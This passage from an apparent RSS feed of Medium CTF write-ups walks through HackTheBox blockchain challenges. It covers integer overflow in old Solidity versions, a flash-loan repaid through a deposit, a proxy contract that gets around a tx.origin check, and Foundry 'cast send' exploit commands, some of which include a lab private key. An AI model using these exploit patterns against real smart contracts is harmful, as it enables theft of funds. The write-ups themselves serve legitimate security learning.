require(msg.sender==YOUR_WALLET_ADDRESS,&quot;Please use the wallet provided to you&quot;); // This is for security purposes<br>        require((amount) &lt; amount_you_have, &quot;You cannot withdraw what you do not have!&quot;);<br>        amount_you_have -= amount;<br>        msg.sender.call{value:amount}(&quot;&quot;);<br>    }<br><br>    function getMoney() public payable {<br>        // Used for deployment, can be safely ignored<br>    }<br>    function loan(uint48 amount) public payable {<br>        require(msg.sender==YOUR_WALLET_ADDRESS,&quot;Please use the wallet provided to you&quot;); // This is for security purposes<br>        loaned += amount;<br>        msg.sender.call{value:amount}(&quot;&quot;);<br>    }<br><br>    function isChallSolved() public view returns (bool solved) {<br>        if ((amount_you_have &gt;= flag_cost) &amp;&amp; (loaned == 0)) {<br>            return true;<br>        }<br>        else {<br>            return false;<br>        }<br>    }<br><br><br>}</pre><p>Exactly The same as Bank but with only one difference.The flag cost has increased to a whopping 281474976710655 ether.</p><p>The attack:</p><p>Notice How there’s a Soldity version of ^0.7.0.This means that its susceptible to the arithmetic overflow attack.</p><p>my solve</p><pre><br>Choice: 1<br>contract address: 0x51dF9a0b1cD223809109638e44f17fD9470Aa261<br>rpc-url: http://34.30.117.150:47241<br>Wallet private-key: 0x9394b2ae44e885a5e62acb2576fc1932b453f7fd9695cff153256cf744bec68e<br>Wallet address: 0x5E811035540ce13F8CC45944Ec27EeA378289bc5<br>Secret: 92a8756298a32aead5ca058299eab59646582943ecca100c2b61dd98ade5298f<br>Please save the provided secret, it will be needed to get the flag<br><br><br>cast send 0x51dF9a0b1cD223809109638e44f17fD9470Aa261  &quot;loan(uint48)&quot; 5 —-private-key 0x9394b2ae44e885a5e62acb2576fc1932b453f7fd9695cff153256cf744bec68e  --rpc-url http://34.30.117.150:47241<br><br>cast send 0x51dF9a0b1cD223809109638e44f17fD9470Aa261  &quot;deposit(uint48)&quot;  281474976710600  --rpc-url http://34.30.117.150:47241 --private-key 0x9394b2ae44e885a5e62acb2576fc1932b453f7fd9695cff153256cf744bec68e  --value 281474976710600 --gas-limit 1</pre><p>And done ;)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26a9677fec8e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox-Cyber-apocalypse]]></title>
            <link>https://princeoftm.medium.com/hackthebox-cyber-apocalypse-844bdc2a5db0?source=rss-7af4082bc3bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/844bdc2a5db0</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[blockchain]]></category>
            <dc:creator><![CDATA[princeoftm]]></dc:creator>
            <pubDate>Thu, 24 Oct 2024 19:11:34 GMT</pubDate>
            <atom:updated>2024-10-25T14:21:16.122Z</atom:updated>
            <content:encoded><![CDATA[<p>My write-Ups for the HackTheBox-CTF</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F24518385&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fvinland-saga-anime-boat-run-attack-gif-24518385&amp;image=https%3A%2F%2Fmedia.tenor.com%2F1QskkjoQr10AAAAN%2Fvinland-saga-anime.png&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/f8b9eda7661a1737ed41561869612953/href">https://medium.com/media/f8b9eda7661a1737ed41561869612953/href</a></iframe><p>Russian roullete</p><pre>pragma solidity 0.8.23;<br><br>contract RussianRoulette {<br><br>    constructor() payable {<br>        // i need more bullets<br>    }<br><br>    function pullTrigger() public returns (string memory) {<br>        if (uint256(blockhash(block.number - 1)) % 10 == 7) {<br>            selfdestruct(payable(msg.sender)); // 💀<br>        } else {<br>  return &quot;im SAFU ... for now&quot;;<br>     }<br>    }<br>}</pre><p>All i had to do was spam call the function using Foundry Cast.</p><p>LUCKY FAUCET</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity 0.7.6;<br><br>contract LuckyFaucet {<br>    int64 public upperBound;<br>    int64 public lowerBound;<br><br>    constructor() payable {<br>        // start with 50M-100M wei Range until player changes it<br>        upperBound = 100_000_000;<br>        lowerBound =  50_000_000;<br>    }<br><br>    function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {<br>        require(_newUpperBound &lt;= 100_000_000, &quot;100M wei is the max upperBound sry&quot;);<br>        require(_newLowerBound &lt;=  50_000_000,  &quot;50M wei is the max lowerBound sry&quot;);<br>        require(_newLowerBound &lt;= _newUpperBound);<br>        // why? because if you don&#39;t need this much, pls lower the upper bound :)<br>        // we don&#39;t have infinite money glitch.<br>        upperBound = _newUpperBound;<br>        lowerBound = _newLowerBound;<br>    }<br><br>    function sendRandomETH() public returns (bool, uint64) {<br>        int256 randomInt = int256(blockhash(block.number - 1)); // &quot;but it&#39;s not actually random 🤓&quot;<br>        // we can safely cast to uint64 since we&#39;ll never <br>        // have to worry about sending more than 2**64 - 1 wei <br>        uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound); <br>        bool sent = msg.sender.send(amountToSend);<br>        return (sent, amountToSend);<br>    }<br>}</pre><p>Another randomness Question(or is it?)</p><p>If you notice the Question above,It has a pragma version of 0.7.6.This means that its vulnerable to Arithmetic Overflow.All we have to do is overflow this bit</p><pre>int256 randomInt = int256(blockhash(block.number - 1)); // &quot;but it&#39;s not actually random 🤓&quot;<br>        // we can safely cast to uint64 since we&#39;ll never <br>        // have to worry about sending more than 2**64 - 1 wei(kek)<br>uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1)</pre><p>If you notice the part above that</p><pre>require(_newUpperBound &lt;= 100_000_000, &quot;100M wei is the max upperBound sry&quot;);<br>require(_newLowerBound &lt;=  50_000_000,  &quot;50M wei is the max lowerBound sry&quot;);<br>require(_newLowerBound &lt;= _newUpperBound);<br>        // why? because if you don&#39;t need this much, pls lower the upper bound :)<br>        // we don&#39;t have infinite money glitch.<br>upperBound = _newUpperBound;<br>lowerBound = _newLowerBound;</pre><p>Notice how new lower bound always has to be lesser than newupperbound.What we have to do is get upperbound lesser than lowerbound to do it.We can overflow these two variables and solve it.</p><p>Recovery</p><p>This actually scared me lol.I’d never heard of electrum as a bitcoin wallet before i did this CTF.</p><p>The CTF question consisted of 3 links</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/0*rOIs6NCQW69-UZre" /></figure><p>This really scared but as i got to know later ,This was actually really easy to solve.</p><p>The 3 links are one is a electrum server,one is a netcat server and the other is the connection information</p><p>I could connect to the electrum server like this</p><p>Ledger Heist(Hard-4 solves)</p><p>The next hard question but honestly i think Recovery was harder than this for me .<br>This CTF question consists of 7 files out of which only the flashloan function is needed.</p><pre>// SPDX-License-Identifier: UNLICENSED<br>pragma solidity ^0.8.13;<br><br>import {FixedMathLib} from &quot;./FixedPointMath.sol&quot;;<br>import &quot;./Errors.sol&quot;;<br>import {IERC20Minimal, IERC3156FlashBorrower} from &quot;./Interfaces.sol&quot;;<br>import {Events} from &quot;./Events.sol&quot;;<br><br>struct UserRecord {<br>    uint256 feePerShare;<br>    uint256 fees;<br>    uint256 balance;<br>}<br><br>contract LoanPool is Events {<br>    using FixedMathLib for uint256;<br><br>    uint256 constant BONE = 10 ** 18;<br><br>    address public underlying;<br>    uint256 public totalSupply;<br>    uint256 public feePerShare;<br>    mapping(address =&gt; UserRecord) public userRecords;<br><br>    constructor(address _underlying) {<br>        underlying = _underlying;<br>    }<br><br>    function deposit(uint256 amount) external {<br>        address _msgsender = msg.sender;<br><br>        _updateFees(_msgsender);<br>        IERC20Minimal(underlying).transferFrom(_msgsender, address(this), amount);<br><br>        _mint(_msgsender, amount);<br>    }<br><br>    function withdraw(uint256 amount) external {<br>        address _msgsender = msg.sender;<br><br>        if (userRecords[_msgsender].balance &lt; amount) {<br>            revert InsufficientBalance();<br>        }<br><br>        _updateFees(_msgsender);<br>        _burn(_msgsender, amount);<br><br>        // Send also any fees accumulated to user<br>        uint256 fees = userRecords[_msgsender].fees;<br>        if (fees &gt; 0) {<br>            userRecords[_msgsender].fees = 0;<br>            amount += fees;<br>            emit FeesUpdated(underlying, _msgsender, fees);<br>        }<br><br>        IERC20Minimal(underlying).transfer(_msgsender, amount);<br>    }<br><br>    function balanceOf(address account) public view returns (uint256) {<br>        return userRecords[account].balance;<br>    }<br><br>    // Flash loan EIP<br>    function maxFlashLoan(address token) external view returns (uint256) {<br>        if (token != underlying) {<br>            revert NotSupported(token);<br>        }<br>        return IERC20Minimal(token).balanceOf(address(this));<br>    }<br><br>    function flashFee(address token, uint256 amount) external view returns (uint256) {<br>        if (token != underlying) {<br>            revert NotSupported(token);<br>        }<br>        return _computeFee(amount);<br>    }<br><br>    function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)<br>        external<br>        returns (bool)<br>    {<br>        if (token != underlying) {<br>            revert NotSupported(token);<br>        }<br><br>        IERC20Minimal _token = IERC20Minimal(underlying);<br>        uint256 _balanceBefore = _token.balanceOf(address(this));<br><br>        if (amount &gt; _balanceBefore) {<br>            revert InsufficientBalance();<br>        }<br><br>        uint256 _fee = _computeFee(amount);<br>        _token.transfer(address(receiver), amount);<br><br>        if (<br>            receiver.onFlashLoan(msg.sender, underlying, amount, _fee, data)<br>                != keccak256(&quot;ERC3156FlashBorrower.onFlashLoan&quot;)<br>        ) {<br>            revert CallbackFailed();<br>        }<br><br>        uint256 _balanceAfter = _token.balanceOf(address(this));<br>        if (_balanceAfter &lt; _balanceBefore + _fee) {<br>            revert LoanNotRepaid();<br>        }<br><br>        // Accumulate fees and update feePerShare<br>        uint256 interest = _balanceAfter - _balanceBefore;<br>        feePerShare += interest.fixedDivFloor(totalSupply, BONE);<br><br>        emit FlashLoanSuccessful(address(receiver), msg.sender, token, amount, _fee);<br>        return true;<br>    }<br><br>    // Private methods<br>    function _mint(address to, uint256 amount) private {<br>        totalSupply += amount;<br>        userRecords[to].balance += amount;<br><br>        emit Transfer(address(0), to, amount);<br>    }<br><br>    function _burn(address from, uint256 amount) private {<br>        totalSupply -= amount;<br>        userRecords[from].balance -= amount;<br><br>        emit Transfer(from, address(0), amount);<br>    }<br><br>    function _updateFees(address _user) private {<br>        UserRecord storage record = userRecords[_user];<br>        uint256 fees = record.balance.fixedMulCeil((feePerShare - record.feePerShare), BONE);<br><br>        record.fees += fees;<br>        record.feePerShare = feePerShare;<br><br>        emit FeesUpdated(underlying, _user, fees);<br>    }<br><br>    function _computeFee(uint256 amount) private pure returns (uint256) {<br>        // 0.05% fee<br>        return amount.fixedMulCeil(5 * BONE / 10_000, BONE);<br>    }<br>}</pre><p>There are only two important lines to be seen here</p><p>In the deposit function</p><pre>IERC20Minimal(underlying).transferFrom(_msgsender, address(this), amount);</pre><p>and the flash loan function</p><pre>uint256 _balanceAfter = _token.balanceOf(address(this));<br>        if (_balanceAfter &lt; _balanceBefore + _fee) {<br>            revert LoanNotRepaid();<br>}</pre><p>Notice how both of them use the Address(this) functionality.</p><p>This means i can call a flashloan and pay it back,using the deposit function as the condition gets fulfilled.</p><p>Play of attack:</p><ol><li>Call flash loan</li><li>Deposit</li><li>Withdraw</li></ol><p>And thats all of my CTF solves.</p><p>Im sorry for no POC’s as this CTF got over 7 months ago and i have no files left lol.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=844bdc2a5db0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack-The-Box Distract and destroy]]></title>
            <link>https://princeoftm.medium.com/hack-the-box-distract-and-destroy-3983b38eab5d?source=rss-7af4082bc3bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/3983b38eab5d</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[blockchain]]></category>
            <dc:creator><![CDATA[princeoftm]]></dc:creator>
            <pubDate>Thu, 25 Jan 2024 15:27:04 GMT</pubDate>
            <atom:updated>2024-01-25T15:27:04.980Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KvViRQ7qKpOAKWdx85ygRw.png" /></figure><p>The code given here is</p><pre>// SPDX-License-Identifier: UNLICENSED<br>pragma solidity ^0.8.13;<br><br>import {Creature} from &quot;./Creature.sol&quot;;<br><br>contract Setup {<br>    Creature public immutable TARGET;<br><br>    constructor() payable {<br>        require(msg.value == 1 ether);<br>        TARGET = new Creature{value: 10}();<br>    }<br><br>    function isSolved() public view returns (bool) {<br>        return address(TARGET).balance == 0;<br>    }<br>}</pre><p>Creature.sol</p><pre>// SPDX-License-Identifier: UNLICENSED<br>pragma solidity ^0.8.13;<br><br>contract Creature {<br>    uint256 public lifePoints;<br>    address public aggro;<br><br>    constructor() payable {<br>        lifePoints = 1000;<br>    }<br><br>    function attack(uint256 _damage) external {<br>        if (aggro == address(0)) {<br>            aggro = msg.sender;<br>        }<br><br>        if (_isOffBalance() &amp;&amp; aggro != msg.sender) {<br>            lifePoints -= _damage;<br>        } else {<br>            lifePoints -= 0;<br>        }<br>    }<br><br>    function loot() external {<br>        require(lifePoints == 0, &quot;Creature is still alive!&quot;);<br>        payable(msg.sender).transfer(address(this).balance);<br>    }<br><br>    function _isOffBalance() private view returns (bool) {<br>        return tx.origin != msg.sender;<br>    }<br>}</pre><p>Solution:</p><p>We see that there is a line here</p><pre>return tx.origin != msg.sender;</pre><p>This means that we can’t interact with it Directly and we need an intermediary to catch it .</p><p>So we need to create another contract using forge and deploy it</p><p>So i Built another contract in forge for this</p><pre>// SPDX-License-Identifier: Unlicensed<br>pragma solidity 0.8.14;<br><br>import {Creature} from &quot;./Creature.sol&quot;;<br><br>contract solve{<br>    Creature public creature;<br>    constructor (Creature _creature){<br>        creature=_creature;<br>    }<br>    function lmao_nice_proxy(uint256 _damage) public {<br>        creature.attack(_damage);<br>    }<br><br>}</pre><p>and then deployed it and sent the function to attack the base contract</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3983b38eab5d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack the box:Survival of the fittest write-up]]></title>
            <link>https://princeoftm.medium.com/hack-the-box-survival-of-the-fittest-write-up-e492ad66db7d?source=rss-7af4082bc3bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/e492ad66db7d</guid>
            <dc:creator><![CDATA[princeoftm]]></dc:creator>
            <pubDate>Mon, 22 Jan 2024 17:11:22 GMT</pubDate>
            <atom:updated>2024-01-22T17:12:22.636Z</atom:updated>
            <content:encoded><![CDATA[<p>Ok so here’s the write-up for the first Block chain challenge on Hack-The-Box</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sU0_GutGnLGMP-5z2nTEJA.png" /><figcaption>Challenge:1</figcaption></figure><p>The code given here is</p><p>setup.sol</p><pre>// SPDX-License-Identifier: UNLICENSED<br>pragma solidity ^0.8.13;<br><br>import {Creature} from &quot;./Creature.sol&quot;;<br><br>contract Setup {<br>    Creature public immutable TARGET;<br><br>    constructor() payable {<br>        require(msg.value == 1 ether);<br>        TARGET = new Creature{value: 10}();<br>    }<br>    <br>    function isSolved() public view returns (bool) {<br>        return address(TARGET).balance == 0;<br>    }<br>}<br><br></pre><p>Creature.sol</p><pre>// SPDX-License-Identifier: UNLICENSED<br>pragma solidity ^0.8.13;<br><br>contract Creature {<br>    <br>    uint256 public lifePoints;<br>    address public aggro;<br><br>    constructor() payable {<br>        lifePoints = 20;<br>    }<br><br>    function strongAttack(uint256 _damage) external{<br>        _dealDamage(_damage);<br>    }<br>    <br>    function punch() external {<br>        _dealDamage(1);<br>    }<br><br>    function loot() external {<br>        require(lifePoints == 0, &quot;Creature is still alive!&quot;);<br>        payable(msg.sender).transfer(address(this).balance);<br>    }<br><br>    function _dealDamage(uint256 _damage) internal {<br>        aggro = msg.sender;<br>        lifePoints -= _damage;<br>    }<br>}</pre><p>To solve this all we need to do is send the command to attack it like this</p><pre>cast send --rpc-url {address-rpc-url} --private-key {private-key} {Contract-address} &quot;strongAttack(uint256)&quot; 20</pre><p>Then we need to loot it</p><pre>cast send --rpc-url {rpc-url} --private-key {private_key}{target_contract_address}&quot;loot()&quot; </pre><p>Then we need to go to the /flag extension to get the flag</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e492ad66db7d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>